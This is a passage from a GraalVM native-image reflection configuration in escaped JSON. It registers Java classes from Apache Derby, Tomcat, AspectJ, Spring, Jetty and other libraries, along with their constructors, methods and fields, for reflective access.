\"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.exe.acaddac06ex0191x77e6x43eax000002e39810d\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.exe.accddec133x0191x2097x24bcx000004af57800\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.exe.accddec133x0191x2097x24bcx000004af57801\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.exe.acf5fb814dx0191x2097x24bcx000004af57800\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.exe.acf5fb814dx0191x2097x24bcx000004af57801\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.exe.acf5fb814dx0191x2097x24bcx000004af57802\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.exe.acf5fb814dx0191x2097x24bcx000004af57803\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.exe.acf5fb814dx0191x2097x24bcx000004af57804\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.exe.acf5fb814dx0191x2097x24bcx000004af57805\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.iapi.jdbc.AuthenticationService\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.jdbc.DRDAServerStarter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.apache.derby.iapi.jdbc.ResourceAdapter\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.cache.CacheFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.cache.ClassSizeCatalogImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.compiler.JavaFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.daemon.DaemonFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.info.Version\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.io.FormatableHashtable\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.io.FormatableIntHolder\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.io.FormatableLongHolder\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.jmx.ManagementService\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.loader.ClassFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.locks.LockFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.monitor.Monitor\",\n  \"fields\":[{\"name\":\"monitor\"}]\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.property.PropertyFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.property.PropertyValidation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.stream.InfoStreams\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.timer.TimerFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.services.uuid.UUIDFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.sql.LanguageFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.sql.compile.OptimizerFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.sql.compile.TypeCompilerFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.sql.conn.LanguageConnectionFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.sql.dictionary.DataDictionary\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.sql.execute.ExecAggregator\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.sql.execute.ExecutionFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.store.access.AccessFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.store.access.conglomerate.MethodFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.store.raw.RawStoreFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.store.raw.data.DataFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.store.raw.log.LogFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.store.raw.xact.TransactionFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.types.DTSClassInfo\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.iapi.types.DataValueFactory\"\n},\n{\n  \"name\":\"org.apache.derby.iapi.types.DataValueFactoryImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.iapi.types.Like\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.apache.derby.impl.db.BasicDatabase\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.db.SlaveDatabase\"\n},\n{\n  \"name\":\"org.apache.derby.impl.io.DirStorageFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.io.VFMemoryStorageFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.jdbc.SQLExceptionFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.jdbc.authentication.BasicAuthenticationServiceImpl\"\n},\n{\n  \"name\":\"org.apache.derby.impl.jdbc.authentication.JNDIAuthenticationService\"\n},\n{\n  \"name\":\"org.apache.derby.impl.jdbc.authentication.NativeAuthenticationServiceImpl\"\n},\n{\n  \"name\":\"org.apache.derby.impl.jdbc.authentication.NoneAuthenticationServiceImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.jdbc.authentication.SpecificAuthenticationServiceImpl\"\n},\n{\n  \"name\":\"org.apache.derby.impl.services.bytecode.BCJava\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.services.cache.ConcurrentCacheFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.services.cache.ConcurrentCacheMBeanImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"org.apache.derby.impl.services.daemon.SingleThreadDaemonFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.services.jce.JCECipherFactoryBuilder\"\n},\n{\n  \"name\":\"org.apache.derby.impl.services.jmx.JMXManagementService\",\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.services.jmx.JMXManagementService$2\",\n  \"methods\":[{\"name\":\"cacheMBeanInfo\",\"parameterTypes\":[\"javax.management.MBeanInfo\"] }, {\"name\":\"getCachedMBeanInfo\",\"parameterTypes\":[] }, {\"name\":\"getMBeanInfo\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.services.jmxnone.NoManagementService\"\n},\n{\n  \"name\":\"org.apache.derby.impl.services.locks.ConcurrentPool\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.services.monitor.BaseMonitor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.apache.derby.impl.services.monitor.FileMonitor\",\n  \"allDeclaredFields\":true,\n  \"allDeclaredMethods\":true,\n  \"allDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.apache.derby.impl.services.monitor.ModuleInstance\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.apache.derby.impl.services.monitor.ProtocolKey\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.apache.derby.impl.services.monitor.TopService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.apache.derby.impl.services.reflect.ReflectClassesJava2\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.services.stream.SingleStream\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.services.timer.SingletonTimerFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.services.uuid.BasicUUIDFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.services.uuid.BasicUUIDGetter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.GenericLanguageFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.catalog.DD_Version\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.catalog.DataDictionaryImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.compile.BooleanTypeCompiler\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.compile.CLOBTypeCompiler\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.compile.CharTypeCompiler\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.compile.CountAggregateDefinition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.compile.MaxMinAggregateDefinition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.compile.NumericTypeCompiler\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.compile.OptimizerFactoryImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.compile.RefTypeCompiler\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.compile.TimestampTypeCompiler\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.compile.TypeCompilerFactoryImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.conn.GenericLanguageConnectionFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.execute.ConstantActionActivation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.execute.CountAggregator\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.execute.GenericExecutionFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.execute.MaxMinAggregator\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.execute.RealResultSetStatisticsFactory\"\n},\n{\n  \"name\":\"org.apache.derby.impl.sql.execute.xplain.XPLAINFactory\"\n},\n{\n  \"name\":\"org.apache.derby.impl.store.access.PC_XenaVersion\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.access.RllRAMAccessManager\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.access.btree.BranchControlRow\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.access.btree.LeafControlRow\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.access.btree.index.B2I\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.access.btree.index.B2IFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.access.btree.index.B2IUndo\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.access.heap.HeapConglomerateFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.access.sort.ExternalSortFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.access.sort.UniqueWithDuplicateNullsExternalSortFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.RawStore\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.AllocPage\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.AllocPageOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.BaseDataFileFactory\"\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.BaseDataFileFactoryJ4\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.ContainerOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.ContainerUndoOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.CopyRowsOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.DeleteOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.InitPageOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.InsertOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.InvalidatePageOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.LogicalUndoOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.PurgeOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.SetReservedSpaceOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.StoredPage\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.UpdateFieldOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.data.UpdateOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.log.CheckpointOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.log.ChecksumOperation\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.log.LogCounter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.log.LogRecord\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.log.LogToFile\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.log.ReadOnly\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.xact.BeginXact\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.xact.EndXact\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.xact.TransactionTable\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.xact.TransactionTableEntry\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.xact.XactFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.raw.xact.XactId\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.impl.store.replication.master.MasterController\"\n},\n{\n  \"name\":\"org.apache.derby.impl.store.replication.slave.SlaveController\"\n},\n{\n  \"name\":\"org.apache.derby.jdbc.AutoloadedDriver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.apache.derby.jdbc.Driver42\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.jdbc.EmbeddedDriver\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.jdbc.InternalDriver\"\n},\n{\n  \"name\":\"org.apache.derby.jdbc.JDBC\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"org.apache.derby.jdbc.ResourceAdapterImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getWarnings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.derby.mbeans.CacheManagerMBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.apache.derby.mbeans.JDBCMBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.apache.derby.mbeans.ManagementMBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.apache.derby.mbeans.VersionMBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.apache.hc.client5.http.impl.classic.HttpClients\"\n},\n{\n  \"name\":\"org.apache.jasper.compiler.JspConfig\"\n},\n{\n  \"name\":\"org.apache.jasper.servlet.JspServlet\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.LoggerContext\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.Plugin\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.impl.Log4jContextFactory\"\n},\n{\n  \"name\":\"org.apache.pulsar.client.api.PulsarClient\"\n},\n{\n  \"name\":\"org.apache.tomcat.jdbc.pool.DataSource\"\n},\n{\n  \"name\":\"org.apache.tomcat.jdbc.pool.DataSourceProxy\"\n},\n{\n  \"name\":\"org.apache.tomcat.util.net.AbstractEndpoint\",\n  \"methods\":[{\"name\":\"setBindOnInit\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"org.apache.tomcat.util.net.NioEndpoint\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.apache.tomcat.websocket.server.WsFilter\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.apache.tomcat.websocket.server.WsSci\"\n},\n{\n  \"name\":\"org.aspectj.lang.JoinPoint\"\n},\n{\n  \"name\":\"org.aspectj.lang.ProceedingJoinPoint\"\n},\n{\n  \"name\":\"org.aspectj.lang.annotation.AfterThrowing\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.aspectj.lang.annotation.Around\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.aspectj.lang.annotation.Aspect\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.aspectj.lang.annotation.Pointcut\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.aspectj.weaver.Advice\"\n},\n{\n  \"name\":\"org.aspectj.weaver.reflect.Java15AnnotationFinder\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.aspectj.weaver.reflect.Java15GenericSignatureInformationProvider\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.aspectj.weaver.World\"] }]\n},\n{\n  \"name\":\"org.aspectj.weaver.reflect.Java15ReflectionBasedReferenceTypeDelegate\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.aspectj.weaver.reflect.ReflectionBasedReferenceTypeDelegate\",\n  \"fields\":[{\"name\":\"myClass\"}]\n},\n{\n  \"name\":\"org.aspectj.weaver.reflect.ReflectionVar\",\n  \"fields\":[{\"name\":\"varType\"}]\n},\n{\n  \"name\":\"org.aspectj.weaver.reflect.ShadowMatchImpl\",\n  \"fields\":[{\"name\":\"residualTest\"}]\n},\n{\n  \"name\":\"org.aspectj.weaver.tools.Jdk14TraceFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.brotli.dec.BrotliInputStream\"\n},\n{\n  \"name\":\"org.cache2k.Cache2kBuilder\"\n},\n{\n  \"name\":\"org.cache2k.extra.micrometer.Cache2kCacheMetrics\"\n},\n{\n  \"name\":\"org.cache2k.extra.spring.SpringCache2kCache\"\n},\n{\n  \"name\":\"org.crac.Core\"\n},\n{\n  \"name\":\"org.crac.Resource\"\n},\n{\n  \"name\":\"org.eclipse.core.runtime$FileLocator\"\n},\n{\n  \"name\":\"org.eclipse.core.runtime.FileLocator\"\n},\n{\n  \"name\":\"org.eclipse.jetty.client.HttpClient\"\n},\n{\n  \"name\":\"org.eclipse.jetty.ee10.webapp.WebAppContext\"\n},\n{\n  \"name\":\"org.eclipse.jetty.ee10.websocket.jakarta.server.config.JakartaWebSocketServletContainerInitializer\"\n},\n{\n  \"name\":\"org.eclipse.jetty.server.Server\"\n},\n{\n  \"name\":\"org.eclipse.jetty.util.Loader\"\n},\n{\n  \"name\":\"org.elasticsearch.client.RestClient\"\n},\n{\n  \"name\":\"org.elasticsearch.client.RestClientBuilder\"\n},\n{\n  \"name\":\"org.flywaydb.core.Flyway\"\n},\n{\n  \"name\":\"org.glassfish.jersey.micrometer.server.ObservationApplicationEventListener\"\n},\n{\n  \"name\":\"org.glassfish.jersey.server.ResourceConfig\"\n},\n{\n  \"name\":\"org.glassfish.jersey.server.spring.SpringComponentProvider\"\n},\n{\n  \"name\":\"org.glassfish.jersey.servlet.ServletContainer\"\n},\n{\n  \"name\":\"org.graalvm.nativeimage.ImageInfo\",\n  \"methods\":[{\"name\":\"inImageCode\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.h2.Driver\"\n},\n{\n  \"name\":\"org.h2.jdbcx.JdbcDataSource\"\n},\n{\n  \"name\":\"org.h2.server.web.JakartaWebServlet\"\n},\n{\n  \"name\":\"org.infinispan.spring.embedded.provider.SpringEmbeddedCacheManager\"\n},\n{\n  \"name\":\"org.influxdb.InfluxDB\"\n},\n{\n  \"name\":\"org.jboss.logging.Logger\"\n},\n{\n  \"name\":\"org.jctools.queues.BaseMpscLinkedArrayQueueColdProducerFields\",\n  \"fields\":[{\"name\":\"producerLimit\"}]\n},\n{\n  \"name\":\"org.jctools.queues.BaseMpscLinkedArrayQueueConsumerFields\",\n  \"fields\":[{\"name\":\"consumerIndex\"}]\n},\n{\n  \"name\":\"org.jctools.queues.BaseMpscLinkedArrayQueueProducerFields\",\n  \"fields\":[{\"name\":\"producerIndex\"}]\n},\n{\n  \"name\":\"org.jooq.DSLContext\"\n},\n{\n  \"name\":\"org.neo4j.driver.Driver\"\n},\n{\n  \"name\":\"org.postgresql.ds.PGSimpleDataSource\"\n},\n{\n  \"name\":\"org.quartz.Scheduler\"\n},\n{\n  \"name\":\"org.reactivestreams.Publisher\"\n},\n{\n  \"name\":\"org.robolectric.Robolectric\"\n},\n{\n  \"name\":\"org.rocksdb.NativeLibraryLoader\",\n  \"fields\":[{\"name\":\"fallbackJniLibraryFileName\"}, {\"name\":\"jniLibraryFileName\"}]\n},\n{\n  \"name\":\"org.slf4j.LoggerFactory\"\n},\n{\n  \"name\":\"org.slf4j.bridge.SLF4JBridgeHandler\"\n},\n{\n  \"name\":\"org.springframework.amqp.rabbit.core.RabbitTemplate\"\n},\n{\n  \"name\":\"org.springframework.aop.Advisor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"isPerInstance\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.aop.ClassFilter\"\n},\n{\n  \"name\":\"org.springframework.aop.Pointcut\"\n},\n{\n  \"name\":\"org.springframework.aop.PointcutAdvisor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.aop.SpringProxy\",\n  